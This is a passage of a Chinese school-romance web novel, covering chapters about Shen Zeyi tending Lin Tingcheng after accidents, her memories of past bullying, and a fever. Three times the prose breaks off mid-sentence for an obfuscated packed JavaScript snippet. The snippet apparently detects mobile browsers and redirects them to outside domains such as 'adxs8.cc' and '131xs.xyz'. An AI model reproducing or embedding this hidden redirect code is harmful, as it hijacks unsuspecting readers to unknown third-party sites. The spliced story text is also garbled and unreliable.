那位骑电动车的男生吓坏了,匆匆赶过来道歉:“对……对不起。” 是个小男生,看起来也才初中生的年纪,想必是偷骑大人的车,不懂交通规则,横冲直撞。 沈择屹不想和小孩子计较,叮嘱了几句就让他走了。 沈择屹将手收回。 手背蹭伤的面积不算大,但他肤色偏冷白,青色脉络微迭,这些血迹斑驳的样子看得确实吓人。 “我们去医院。” 林听澄拉着他的手就要打车去医院,被沈择屹匆匆拦下。 “不用,小伤。” 沈择屹不在意,甚至准备直接用纸巾把旁边多余的血迹擦掉。 林听澄惊呼,直接抵住他的手:“你别碰呀。” 他的掌心温热,自己无意触碰到时,仿佛连指尖的微凉也跟着他的温度悄然融化。 她不自然地收回手,躲开视线:“你在这儿等我一下。” 沈择屹看向她匆匆跑进旁边的药店。 过了几分钟,拎着袋子出来,里面都是些什么生理盐水、碘伏、药膏和纱布这些。 两人坐在路边台阶上,旁边是来来往往的行人。 林听澄低着头,拉着沈择屹的左手放在自己的双膝上,她仔仔细细地看着伤口,轻轻呢喃:“你别乱动哦。” 她取出生理盐水,轻轻倒在棉签上,动作轻而柔,缓缓擦拭着他手背上的血迹与污渍。 完整清洗一遍后,伤口的痕迹清晰可见。虽然不算深,可对林听澄来说,这伤口却格外刺眼,让她心头紧绷。 她盯着看,有些不知道该怎么下手。 沈择屹突然低头,朝她靠近:“吓到了?这才多大点伤口。” 林听澄沉默,她觉得很对不起沈择屹。 如果自己当时反应快点,可能就会躲过那辆车;如果沈择屹没有主动救下自己,那么受伤的也只会是自己。 林听澄抬眼,眼底有些不受控地湿润:“真的不用去医院吗?” “不用,消个毒就行,不消毒也没事儿,伤口不深。” 沈择屹觉得无所谓,这个伤口对他来说都懒得处理。 “不行。”林听澄厉声打断,“我那么小的伤口,你都帮我准备了创可贴。” 她是想说,上次自己只是被划了一道小小的划痕,甚至连伤口都快结痂愈合了,他却仍准备了消毒棉签和创可贴。 而这次,他的伤口划得这么大,血迹淋漓,自己怎么可能不去管。 林听澄低着头,用手里的棉签蘸了些碘伏。 “可能会有轻微的刺痛感,如果疼的话,你忍一忍。” 沈择屹笑很痞,透着一股劲劲儿的感觉:“我的字典里,没有‘疼’这个字。” 林听澄被逗笑了。 目光依然专注地落在他的伤口上,手中的棉签轻轻地涂抹着伤口。她动作很轻,指尖的力度轻得几乎察觉不到,生怕触痛他的伤口。 沈择屹低低地笑着,忽然叫了声她的名字。 “林听澄。” “嗯……疼了吗?” 林听澄下意识停下手里的动作,对着他的伤口轻轻吹了吹,微凉的气息掠过他的伤口,好似羽毛柔柔地划过,漾起一阵酥酥麻麻。 沈择屹缓缓勾起嘴角,夹杂着几分意味不明:“嗯,有点疼。” “那我再轻一点。” 林听澄当真了。之后每涂抹一点伤口便对着那处地方轻轻吹拂,一直反复这个流程,直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140002|164479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到消毒结束。之后又拿出抗生素药膏,给他上药。 他们并肩坐在树下。头顶是层层叠叠的绿荫,枝叶在风中轻轻摇曳,阳光透过缝隙倾洒下来。 风吹过,林听澄的长发随风轻扬,刘海被吹得微微飘动,几缕发丝飘落在她的脸颊。 沈择屹侧头注视她,目光落在她的脸上。 忽然抬手,指尖轻轻掠过她的脸颊,将那缕发丝温柔地撩到她的耳后。 林听澄怔住了。 手上的动作戛然而止,时间仿佛也在静止。 沈择屹的手指仍停留在她耳后,随即,在她发间轻轻一触,像是摘下了什么,低声说道:“有片树叶。 “谢谢。” 林听澄眼神略微慌乱,匆匆低下头,耳朵悄悄攀上淡淡的粉。 她没怎么帮人处理过伤口,动作不熟练但很细致。 最后用纱布包扎伤口,她笨拙地用纱布绕着他的掌心缠上几圈,也不敢缠太多,怕影响他做事,差不多五六层,在手背系上一个蝴蝶结。 “我只能简单处理,你这两天留心观察。”林听澄收拾好那些消毒的用品,全都交给沈择屹,继续说道,“如果需要去医院,我可以陪你去。 顿了顿,她抬眸看向他,很认真开口:“沈择屹,我会对你负责的。” 太认真了。 认真到沈择屹都不好意思跟她开玩笑。 “行,那你早点回去。我帮你叫了车,已经到了。” “不知道你家具体地址,所以帮你定位在平时放学的公交站。” 沈择屹上次和她一起坐过公交车,所以知道她在哪个站台下车。 林听澄连连拒绝:不用,我自己坐公交就好。” 沈择屹却拉着她,将她送进车里:“注意安全,回家后给我发个信息。” 车门被关上。 林听澄坐在车里看着窗外的少年,他单手插在口袋里,用那只包着纱布的手朝自己挥了挥,微微歪了下头,脸上扬起明朗的笑。 回到家,家里安安静静,没有一个人。 林听澄给自己下了一碗面,刚端回房间,口袋里的手机震动了一下。 1:【到了没?】 林听澄放下碗筷,敲着键盘。 cc:【刚到。】 思考了片刻,她又连续发了两条信息过去。 cc:【你的手不要碰水哦。】 cc:【晚上再消一下毒哦。】 发完这两条信息,林听澄手机没了震动的声音。 她没太在意,想着他大概在忙。于是找了一个辩论赛的视频,边吃饭边看。就在她准备收拾碗筷时,手机屏幕弹出了两条微信。 是沈择屹发来的两张图片。 她点开聊天框,看到两张自己的照片。 一张是她坐在自习室里认真写作业,另一张是她在给沈择屹清理伤口。 她不知道他是什么时候偷拍的,但是她发现这两张照片,自己的脸颊都有些微微泛粉。 手机再次震动了一下。 她返回聊天页面,沈择屹发来了一条信息。 1:【这么可爱。】 就那一瞬。 她的心,轰然一声。 11.一六年夏 「当我鼓足勇气将那段深藏的伤疤揭开,并且已经做好离开的准备,他却问我疼不疼。」 ——小澄同学.FM0106 · 林听澄不知道是不是因为这段时间沈择屹帮自己讲题,她的期中考试成绩有了一些进步。 从月考的班级第七名提升到了班级第五名,语文和英语稳定发挥,数学从之前稳定的一百二十分上升到了一百二十五分,物理也有了几分提高。 其实像她这样的成绩,想要在短时间内取得突破很难。她成绩不差,在整个年级能排到前三十?目前这个状态,能有几分的提升就已经很不错了。 李响在班会课上分析完这次期中考试的成绩后,便安排学生进行大扫除。 这两天会有市级领导来学校检查,校长要求各班进行全面大扫除,包括各班所负责的校园公共区域。 高二六班负责的公共区域是所在楼层的长过道,需要进行拖地和擦窗户。 女生只负责扫地和擦窗户;男生的任务则比较多,除了扫地和擦窗户,其余的都归男生打扫。 林听澄、许早和另外两个女生被安排在公共区域打扫,主要是把窗户清理干净。 林听澄个子比许早高一些,便主动承担擦上面的窗户。 许早给她搬来椅子,扶着她站上去,双手扶住椅子,小心护在她身后,生怕她站不稳摔倒。 林听澄先用湿抹布简单擦拭一遍,再用废报纸仔细擦一遍。这个方法她从小学就开始用,擦出来的窗户干净又明亮,不过,她只能擦到里面的玻璃,外面的部分够不着,所以看起来还是脏兮兮的。 她想着,要不把窗户打开,把手伸出去擦一擦,能擦多少是多少。不然,里面擦得再干净,外面那么脏,整体看起来还是跟没擦一样。 “澄啊,要不算了,差不多就行了。” 许早看着她开着半扇窗户,探出脑袋和手臂,拿着抹布擦外面玻璃,不禁跟着心颤,这个动作太危险了。 “没事,我简单过一遍,很快就好了。” 林听澄不会做自己没有把握的事情,虽然举动看起来有点夸张,但是擦完外面确实干净了很多,这样也不用担心检查的时候被主任挑刺。 许早说不过她,只能尽量多护着她,对旁边那些拖地的男同学多啰嗦了几句。 “你们这些男生是不是没吃饭啊,拖把拧不干吗。” “地上这么多水,知不知道这样很危险啊,一不小心就容易滑倒。” 男同学感觉受到一万点暴击,拿着拖把灰溜溜地走人。 林听澄忍不住笑了,她真的很喜欢许早这种率真又直爽的性格。 她用湿抹布擦完第一遍,递给许早,换上废报纸再擦一遍。全部结束后,她正要收回手臂和探出去的脑袋,她忽然发现对面那栋楼有个人一直在看自己。 在发现自己看到他时,他打开了那扇窗户,双手撑在窗户边缘,和自己挥了挥,随后双手放在嘴边仿佛是在说些什么。 林听澄自然是听不清他在说什么,但是她看清了他的模样,是沈择屹。 该如何形容看到他时,那一瞬间的感觉呢。 林听澄无法用语言描述。 她只知道,十七岁的少年意气风发。他隔着一个长廊的距离,隔着一层楼的高度,仰着头望向自己,热烈地挥了挥手,随后明朗一笑。 仅仅如此,就使她春心荡漾。 她手里动作僵愣了好久,正思考怎么回应他时。 沈择屹关上了窗户,沿着那条走廊开始跑起来。他们教学楼形似“匚”型,沈择屹在三楼,她看着他从三楼跑上四楼,越过周围的人群,沿着那条长长的走廊一直跑。 林听澄这才后知后觉,他好像是跑来找自己的。 她立刻收回手臂,慢慢地从椅子上下来,将报纸丢进垃圾桶里。 “怎么了?” 许早见她突然下来,有些没明白她的意思。 “沈择屹好像找我。” 林听澄不确认,但还是想要去找他。 许早比了一个‘ok’的手势:“那你去吧,反正我们任务做好了。” 林听澄帮许早收拾好工具,正要转身离开去找沈择屹时,身后传来一阵呼叫:“同学!快让开啊!” 林听澄转过头,那位呼喊她的男同学正因为脚底的那一摊水滑了一跤,而他手里的水桶趁此脱离了他的掌心,腾空地跃到空中,小半桶的水瞬间泼洒了出来。 林听澄大脑一片空白,双脚似乎被胶水粘住,怎么也挪不动。 直到,那桶水落在她的身上,冷冰冰地冲击着她的身体,白色的薄衫被淋得湿透,潮湿地贴在肌肤,湿漉漉的头发顺着脖颈线条往下滴着水。 她缓缓回神,自己又被淋水了。 周围同学也溅到了一些水,但那小半桶水几乎全都落在了林听澄身上。 而那位因为地太滑、水太多而摔倒的同学,趴在地上一动不动,生无可恋地哀嚎。 “同学,你怎么不躲啊……” “我不是故意的,我也是受害者啊。” “这是哪个蠢人拖的地?滑死我了!” 许早被吓到了,但她却是那群人中第一个反应过来的。 她二话不说,直接冲上来抱住林听澄。 “澄澄没事,你别担心。” “我抱着你,这样衣服湿了也没人看见。” “谁有外套啊,赶紧拿一下啊!” 剩下的两个女生纷纷回神,急匆匆跑回教室找外套,许早仍保持正面拥抱的姿势抱着她。 林听澄身体有些发抖,她不敢触碰许早,更不敢回应她的拥抱。 只是小心翼翼地从她怀抱里挣着,可每当她使出一点力气,许早就把她抱得更紧。 “早早,你快放开我,不然你的衣服也会湿的。” 林听澄眼睛发酸,声音带着些鼻音。 她不想弄湿她,更不想弄脏她 “没关系啊,我是黑色的衣服看不出来。你是白色的,容易透,我抱着你不容易走光。” 许早丝毫不介意,小猫似的将脑袋靠在她的肩膀上,蹭了蹭她的脖颈。 林听澄挣扎的动作缓缓停下。 一时之间,她有些分不清脸上究竟是淋到的冷水还是流下的眼泪。 沈择屹赶来时,就看见许早抱着林听澄,她后背的衣衫湿了一片。他没犹豫,直接将自己的外套脱下,从她身后给她披上。 许早带林听澄去厕所清理了一下。 沈择屹则一直站在外面,等她们出来。 再出来时,她穿着沈择屹宽大的外套,头发湿湿地披在身后。 许早想继续陪着她,但因为期中考试排名下滑被老师叫去了办公室。没办法,她只好便把林听澄交给了沈择屹。 林听澄呆呆地站在原地,面对沈择屹投来的炽热的目光,她没忍住低下了头。 沈择屹看着她,问道:“想回班吗,还是想去哪里。” 她仍低着头,声音很闷:“想去个没人的地方。” 沈择屹把她带去了这层楼的天台。 天台是学校禁地,因为不安全,防护措施不完善,所以用铁链封锁着门。 林听澄看着他熟练地解开铁链,把门打开,带着自己走进去,随口问了句:“你经常来这里吗? “是,心情不好就会上来待一会儿。” 沈择屹立随后又把门关上,假装没人在这里。 林听澄第一次来天台。 这里真的是被封锁了许久,旁边的栏杆生满了铁锈,几张老式桌椅遗弃在一旁,上面摆放了两盆仙人掌,仍顽强生长着。 她站在空无一人的天台,抬头能看到碧蓝的天,低头能看到校园里一草一木,甚至还能看到一些小情侣在偷偷摸摸地拉小手。 “这里的感觉真好。” 林听澄深呼吸后,缓缓闭上眼,感受着风穿过发丝的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15146123|164479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 触感,逐渐放松逐渐平静。 沈择屹站在她身旁,歪过头看着她:“那心情会好一点吗。” 林听澄身体一怔。 她以为没人会在意的…… 她的情绪确实很低落,如果不是因为这里是学校,她大概会躲在房间里偷偷哭。 沈择屹双手撑在栏杆上,碎发被风吹得轻轻飘动,他低眸细细地看她:“刚刚怎么不躲?” 沈择屹在上楼时,碰到了那个摔跤而伤到腰的男生正被两个同学扶着去医务室的。 他那会儿并不知道发生了什么,只听到他语气差劣地在说某个女生。 “我真是服了,那个姑娘怎么跟呆子一样,让她躲,她都不躲。” “光有漂亮的脸蛋,行动力和思维力完全是个傻子。” “她往那儿一站,淋了一身的水,好像跟我故意的一样。” 后来,他来到四楼,看到那一幕,才知道发生了什么。 林听澄注视着他,眼圈发红,但什么都说不出口。 沈择屹像是看出了她的难言之隐,没有强求,语气很轻松地和她聊天:“每个人都会有自己的秘密,不想说可以不说。” 林听澄摇了摇头。 这不是她的秘密,只是一个不愿回忆的伤疤,太疼了。 沈择屹突然转过身,很认真地看着她。 “那如果是伤疤的话,那么疼,也不用揭开。” 那一字一句,仿佛耳边的风声。 轻轻飘入耳中,又在心底悄然回荡,她的心也跟着震颤了许久。 像是过了很久,她突然低下头。 “她们……” 声音很低很轻,仿佛做了无数的挣扎。 “因为她们之前做过无数次,我有点反应不过来。” 因为遭遇过太多次恶意泼水,所以遇到这种情况,身体已经本能地站在原地。 哪怕被人提醒了要躲开,哪怕自己看到了水桶的水朝自己泼过来,身体却还是无法动弹,下意识闭上眼接受一切。 空气瞬间安静了,连呼吸声都清晰可闻。 林听澄始终低着头,她不敢看沈择屹,害怕看到什么不该看到的眼神,她现在只想逃避。 几乎是一秒,她转身就要离开。 身后却传来一道低沉的声音,隐忍又克制。 “疼吗。” 林听澄脚步一顿。 他是在问自己,揭开伤疤,疼不疼。 林听澄的眼睛瞬间氤氲了一片潮湿,模糊到看不清眼前的一切。 她不敢掉眼泪,也不敢转头看向他只是背对着他,轻声呢喃。 “沈择屹。” “我这人其实特别差劲。” 比如,性格懦弱,遇到不想面对的事情就下意识逃避。 比如,敏感拧巴,总是会痛恨自己的内耗与低情绪。 比如,过去了这么久的事情,还是走不出那段阴影。 看见那桶水朝自己泼来时,脑海里全是那幅场景。 四五个人包围着她,他们一人一瓶矿泉水直接泼过来,她不敢躲,也不敢反抗,她没有那个勇气。 她恨自己为什么不会躲开,恨自己为什么走不出来。 如今,她逃不开,也忘不掉。 “那我就是什么很好的人么。” 他声音低沉,听不出任何情绪。 林听澄倏然笑了,没有作回答。 因为在她的心里,很早就有了一个答案。 预备铃声响起,楼下的同学纷纷跑着进班。 林听澄转过身,仰头看向他:“我们回去吧。” 她率先迈开一步,沈择屹却拉住了她的手,她盯着他看,眼底有些疑惑。 沈择屹只是俯下身,将敞开小半截的外套拉链全部帮她拉上,又给她整理了一下衣领,动作停住。 缓缓垂下眼,眼眸漆黑泛光。 “在我这儿,你就是很好很好的人。” 12.一六年夏 「他不会知道,那张便签我保存了好多年。」 ——小澄同学.FM0106 · 林听澄和沈择屹回班时,李响已经在班里了。 两人站在门口喊了一声“报告”,正忙着分发答题卡的李响抬起头,这才注意到还有两个学生站在门外。 他准备招手示意他们进来,目光却忽然顿住—— 林听澄穿着一件明显过于宽大的男士外套,衬得她格外纤瘦,而站在她身后的沈择屹,只穿了一件单薄的短袖。 李响皱眉,虽说早已立夏,也即将步入六月,可不至于热到单穿短袖。 “你们两个什么情况?” 李响双手环抱在胸前,一副审视的姿态。 “老师,我们没情况啊。”沈择屹懒洋洋地笑着,语调满是闲散,“同学不能一起进班么。” “我是问,你们衣服怎么回事?” “林听澄,你这外套是谁的?沈择屹你又怎么穿着短袖?这天气也没那么热吧。” 林听澄往前迈开一步,正要解释原因,许早抢先回答:“老师,刚刚打扫卫生时,林听澄的衣服被其他同学不小心弄湿了,沈择屹就把外套借给她了。你看多好的同学感情啊。” 李响本来半信半疑,直到他注意到林听澄因为潮湿而粘在一起的头发,这才相信,转而换了种语气。 “同学之间确实要互帮互助,但要注意社交尺度。” “行了,都回座位吧。” 沈择屹没动,朝林听澄歪了下头,示意她先进。 林听澄明白了他的意思,先走进教室。那件oversize款式的外套松松地罩在她身上,袖子几乎遮住了她的指尖,衣摆垂至大腿中间。未干透的发丝随着她走动的步伐轻轻摇曳,在背后划过浅浅的弧线。 沈择屹则跟在她身后,双手慵懒地插在口袋里,露出冷白的手臂,线条分明,流畅而有劲。走路的姿态随意且从容,眉眼间透着些不羁与淡然,但他目光却紧紧跟随着前面的林听澄。 就这样,在全班同学的注视下,他们一前一后走进了教室。 直到两人入座,大家才收回视线,开始听课。 现阶段的课程基本就是做题讲题,不断巩固知识点。 李响把上次期中考试的题目拿出来统一讲解,因为没有多余的试题,他便拿着沈择屹的卷子讲,主要是他的试卷过于干净,不影响讲题。 很多同学在写答题卡时,喜欢在试卷上打草稿,考完一场试,那试卷也没眼看了。 林听澄见他没试卷,很自然地将她的试卷放在两人中间,与他共享。 沈择屹本来没打算听课的,可偏偏林听澄朝他递来了试卷,刚趴下的他又坐起了身子,侧过身撑着下巴,盯着林听澄看。 林听澄似乎能察觉到右边传来的目光。 她不敢转头,只是用余光匆匆瞥了一眼,压低声音絮语:“看我干什么,看试卷呀。” 沈择屹还是盯着她。 眼神却逐渐黯了下来,似乎还夹杂着几分疼惜。 林听澄被他注视得有些不知所措。 她不敢上课讲话,便撕下一张便签,在上面写着: 【知道你成绩好,但也要好好听课。另外,天台的事情忘了吧。】 他们坐得很近,彼此之间没什么距离。 不用冒着风险传递纸条,也能清楚地看到上面写的什么。 沈择屹拿起笔,在那句话的后面写下回应。 【以后不会再发生那种事情了。】 随着笔尖的停顿,林听澄的心跟着颤了一下。 她不知道怎么回应,只是很慌张地将便签揉进手心,然后塞进口袋里。 李响没有发现他们角落里的动静,仍情绪高昂地讲着题目。 “最后一大题啊,如果能掌握到考点的精髓,不算难。” “可咱们班只有两位同学拿到了满分,大家猜猜是谁?” 不用思考,班上同学异口同声喊出沈择屹的名字。 李响摸着胡茬乐呵呵:“不错,除了沈择屹,你们再猜猜另一个同学是谁。” 这一次,说出来的名字五花八门。 但猜来猜去,始终没有人提林听澄的名字。 李响不想浪费时间,便主动揭晓。 “行啦,全都不对。” “直接和你们说吧,另一位是咱们的小林同学。” 正在做笔记的林听澄笔尖轻轻一顿,班上传来一阵断断续续地起哄声。 李响提高了自己的音量,压低了班上的起哄声。 “林听澄同学这次的数学成绩非常优秀,她不仅做对了这道题,而且她的解法和沈择屹的解法一模一样,这说明什么!” “哇哦!” “咦~” “说明有情况啊老师,哈哈哈!” 教室里的起哄声比之前更加大声,甚至有几个调皮的男生吹起了口哨,女生则意味深长地看着林听澄和沈择屹,嘴角挂着笑。 林听澄被盯得有些不自在,默默地低下头。 沈择屹却依旧是那副漫不经心的模样,目光坦然地扫过那群人,大大方方地露出笑。 林听澄有些逃避,假装忙碌地从抽屉里拿出本子,却没注意本子里单独夹了一张草稿纸,从纸张缝隙中悄然飘落在地面。 她下意识低头去捡,却发觉身旁的少年似乎也低下了头。 她动作停了一瞬,匆匆落下一句:“我自己来吧。” 动作比之前快了一些,很迅速地弯腰捡起地上的草稿纸,上面写的内容是上次沈择屹给她讲题时留下的解题步骤。 也不知道她为什么这么紧张,慌慌张张地弯下腰,急匆匆地抬起头,完全没有留意脑袋上方就是桌角。 但凡撞上去,可少不了一份疼。 然而并没有,因为沈择屹比她先注意到。 他的掌心护住桌角,紧紧包围住。直到林听澄安然无恙地抬起头,恢复好坐姿,他才收回手,若无其事地转着手上的笔。 林听澄垂下眼,眼底情绪有些复杂。 她虽没有注意到桌角的危险,但她注意到了沈择屹护住桌角的举动,以及感受到自己脑袋撞在他手上的片刻温存。 还是那只为自己受伤的左手,他的手背仍留着淡淡的划痕。 李响受不了这阵起哄声,皱着眉打断。 “哎哎哎,你们一个个瞎起什么哄啊!” “解题思路一样说明他们俩认真学习交流了,说明老师的互助小组是有成果的。” “过段时间啊,重新进行座位调整,你们所有人都要向他们学习。” 插曲过后,班上恢复正常。 李响继续讲课,同学们继续听讲。似乎没有人会在意那段起哄是不是真的带点什么意味,反正青春期的少男少女都是这样。有点苗头就跟着起哄,不管是真是假,不管当事人是什么想法,上课起哄,下课就忘了这一茬。 沈择屹缓缓压下身子,一点点靠近林听澄。 用着仅彼此能听见的声音,问道:“小林同学,要不要感谢一下你的专属老师呢?” 他声线低沉悦耳,自带一股懒痞劲儿,扬起的尾音像酒那般醇厚,令人有几分沉醉。 林听澄很认真地看向他,眼眸明亮灵动。 “嗯,谢谢小沈老师。” 她经不住调侃,他说什么,自己便回应什么。 何况那道题确实多亏了他,如果不是他和自己讲过,自己和大多数同学一样是解不开的。 “让你感谢我就真的感谢我了?” 沈择屹轻笑了下,扬起的尾音勾着些缱绻的意味。 他长睫眨了下,忽然变得有些正经,语气低磁清润。 “是小林同学本身就很聪明,与我无关,自信一点。” 林听澄微怔,动作有些迟缓地转头看向他。 午后暖暖的阳光铺在他的脸上,白皙的肌肤被衬得更加干净无瑕,棱角分明的下颚透着他与生俱来的冷峻,但眼神里没有一丝冷淡。 她忽然意识到,沈择屹好像对自己从未有过一丝冷漠疏离,就包括他们第一次见面,他也是很有礼貌地和自己共撑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15151194|164479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一把伞。 他这人,是从骨子透出来的绅士礼貌。 铃声响起后,李响离开了教室,同学们全然忘了课堂起哄时的喧闹,三五成群地走出教室。 沈择屹也走得匆忙,以至于邬戾来找他时,人都不见了。邬戾便干脆坐在沈择屹的座位上和林听澄、许早闲聊。 林听澄向许早借了一把小梳子,准备把自然吹干的头发扎起来。 许早问她需不需要镜子,她摇了摇头,很随意地梳了两下,扎起一个高马尾。 许早看着她这般随意的举动,忍不住感叹:“果然,人长得漂亮,头发怎么扎都好看。” 林听澄将梳子还给她,真诚夸赞:“早早,你更漂亮呀。你不仅自信大方,而且率真可爱,每天活力满满像个小太阳。” “你不要总是夸我,你身上的闪光点比我多得多。” 林听澄一直觉得,许早各方面都比自己优秀,所以才会吸引自己想要靠近她,想要和她做好朋友。 “行了行了,你俩不要互相夸夸了,都是大美女!” 邬戾大概是不理解女生之间的话题为什么总是这些,没什么兴趣地起身,却发现后门口站着一个陌生的男生。 但是林听澄和许早对他并不陌生,那个男生正是今天因为脚滑摔倒在地的人。 他看见林听澄后,立马鞠了一躬。 真诚且大声:“林听澄同学,对不起!” 林听澄被吓得从座位上站起来,许早也怔怔地看着他。 她们俩完全不知道他为什么这么突然的道歉,毕竟泼水那件事,他也不是故意的。 “啊,为什么要道歉,不用向我鞠躬呀。” 林听澄有些慌张,朝他伸出手,想扶起来又不敢扶。 那个男生差不多维持了三秒,慢慢抬起身。 “我不应该在背后随意评价你,对你指指点点,也不该对你扣上一些不好的头衔。是我思想狭隘、没有胸怀、没有气度,我是男人中的耻辱。” “在这件事情上,我和你都很无辜,但是我不能因为自己摔倒觉得丢人就把情绪发泄在你的身上,不应该在背后说你坏话,跟其他同学抱怨你的不是。所以我真诚地向你道歉,希望你能原谅我。” 解释完这一切,许早似乎明白了,眯着眼细细打量他。 “你这是背后说人坏话,然后良心发现了?” 不然怎么好好端端地跑来道歉,毕竟背后骂人的话谁都没听见。 男同学郑重地点了下头:“嗯,受高人指点,已经清晰地认识到自己的错误,再一次真诚地向林同学道歉!” 林听澄原地愣了好几秒。 直到男同学要开始第二次鞠躬时,她赶紧打断:“没事没事,我没听见就当作没发生,不用在意的。” 她,确实不在意。 因为在那段任人欺凌的时光里,她的世界是黑暗的。 无论是被人习惯性地忽视,还是无止尽地被人欺负与打压,她都已经麻木了。没人会在意她的感受,也没有人会救她。 就包括她自己,完全不知道该怎么自救。 如今有人在背后议论了自己几句,她没听见,所以她一点都不在意;即便现在知道了,她还是不在意,因为这些对她来说,根本算不了什么。 然而,当她收到这份郑重的道歉时,内心还是有些波动。 她忽然意识到,自己好像拥有了从未拥有过的尊重,拥有了那种被正视、被认真对待的感觉。 得到了林听澄的原谅,那位男同学还是深深地鞠了一躬,离开了教室。 被挡住的后门口,重新恢复了以往的明亮。 此时,林听澄却看见,沈择屹潇洒地倚站走廊的栏杆上。 双手后仰堪堪撑在栏杆上,阳光斜斜地照耀下,映衬着他的全身,像是为他铺洒了一层光晕。 他抬眼,眼眸深邃又明亮。 他望向自己,单挑了下眉,笑得如此漫不经心。 而这一眼,林听澄好像明白了这一切。 她长久以来灰暗的世界,拥有了第一束光。 13.一六年夏 「已经数不清麻烦了他多少次,我真的不想再给他添麻烦了,对不起。」 ——小澄同学.FM0106 · 周末,林听澄不常见的睡了个懒觉,醒来时已经十点了。 她浑身没劲,身上还出了些薄汗。 她不喜欢这种黏糊糊的感觉,便洗了澡,换了身衣服,然后跑到楼下那家洗衣店拿沈择屹的外套。 今天天气不好。 阴沉沉灰蒙蒙,云层低垂,仿佛随时会洒下一场大雨。 她站在洗衣店门口犹豫了会儿,还是决定给沈择屹发个消息。 cc:【你现在在哪,有空吗?】 发完,她走进洗衣店。 “阿姨,我来拿昨天送来清洗的衣服。” 报了手机号和取衣码,林听澄顺利拿到清洗干净的衣服。 周五放学后,林听澄直接把沈择屹的外套送去了洗衣店。 她不敢带回家,怕被林纭看见,也怕林纭厌烦。 不难想象,如果林纭看见自己穿着异性的外套回家,她会发疯成什么样,又会把自己骂什么样。 沈择屹还没回消息。 林听澄又发了一条:【我想把衣服还给你。】 她独自坐在公交站台的长椅上,手里拎着包装好的衣服,眼神空洞地看着阴沉的天,忽然有一种说不上的疲惫感。 沈择屹这次是秒回,连续发了好几条。 1:【我在养老院做志愿者,还没结束。】 1:【距离结束还有好一会儿。衣服可以周一带给我,不着急。不给也没事。】 1:【今天天气不好,你别出门。还是我来找你吧。】 几乎不给林听澄回复的时间,沈择屹自言自语地回答了好几句。 但奇怪的是,他仿佛能预判林听澄的回答。 他发来的每句话都回应了林听澄还未发出去的消息。 他发完第一条消息时,林听澄想回复: 【什么时候结束,我去找你。】 字还没打完,他便发来第二句。 林听澄只好默默删掉对话框的半句话,重新打字: 【我刚好没事,给你送过去吧。】 同样的,刚打完一半的字,他发来了第三句。 像是心灵感应般,自己没有发出去的信息、没有打完的字,他都抢先回答,完美地回应了每一句。自己压根没机会回复。 所以这次,林听澄等了几秒。 确认他不会发新消息后,才回复了他的消息。 cc:【哪个养老院,我去找你。】 沈择屹这次没有预判成功,过了几分钟,给她发了定位。 林听澄看了眼位置。 不远,有直达的坐公交车,二十分钟就到了。 林听澄到达养老院的时候,沈择屹已经站在门口等她了。 他手臂上戴着志愿者的袖牌,问道:“怎么坚持要过来,我可以去找你的。” 林听澄头有些昏昏的,眯了眯眼,将手里的衣服递给他:“谢谢你的外套。” 沈择屹接过,笑得明朗:“这么着急,周一给我也没事的。” 林听澄摇了摇头:“男生的衣服带回家不太好。” 他笑着俯下身,像小狗那般直勾勾地盯着她的眼睛。 “被你爸妈发现了?” 语气闲散,尾音勾起,像是在故意逗她。 林听澄怔了秒,随即摇头。 “我没带回家,我放在楼下洗衣店洗的。” 似乎是怕他嫌弃洗衣店不卫生,又补充了一句。 “我检查过了,清洗很干净,也没有破损的地方。” 沈择屹却没在意听。 在他俯下身平视她的脸时,觉得她的状态有些奇怪。 他眉间微蹙,收起了玩笑的语气,声音里带着一丝关切:“你是不是哪里不舒服?脸怎么这么红。” 林听澄摸了摸自己的脸颊。 “有吗,我感觉还好啊。可能有点晕车。” 她依旧没有感觉,不过刚刚坐公交车时确实有些头晕想吐。 沈择屹仍觉得她不对劲。 他往前走了一步,注视着她的眼,低声开口:“可以碰一下你的额头吗?” 微风裹挟着空气的潮湿,混着草木的清新,轻轻掠过她的耳畔,仿佛连同那句话一起融进了林听澄的思绪。 不是摸额头,是触碰额头,感知温度。 也不是直接上手触碰,而是询问她的意思、尊重她的想法。 林听澄神色有几分恍惚。 她安静地看着他,轻缓地点了点头。 得到她的允许,沈择屹抬起手,悬停在她的额前。 他没有立即触碰她的额头,只是垂下眼看着她,看她发颤的眼睫、扑闪的眼睛,漆黑的眼眸。 两人的视线在此刻无声且漫长地交汇。 下一秒,林听澄忽然闭上了眼睛。 沈择屹的心不自觉跟着一颤,悬在空中的掌心僵硬地落在她的额头上。 贴着她的额头,隔着薄薄的刘海,他感受到她滚烫的温度。 “额头很烫。” “你不知道自己发烧了吗?” 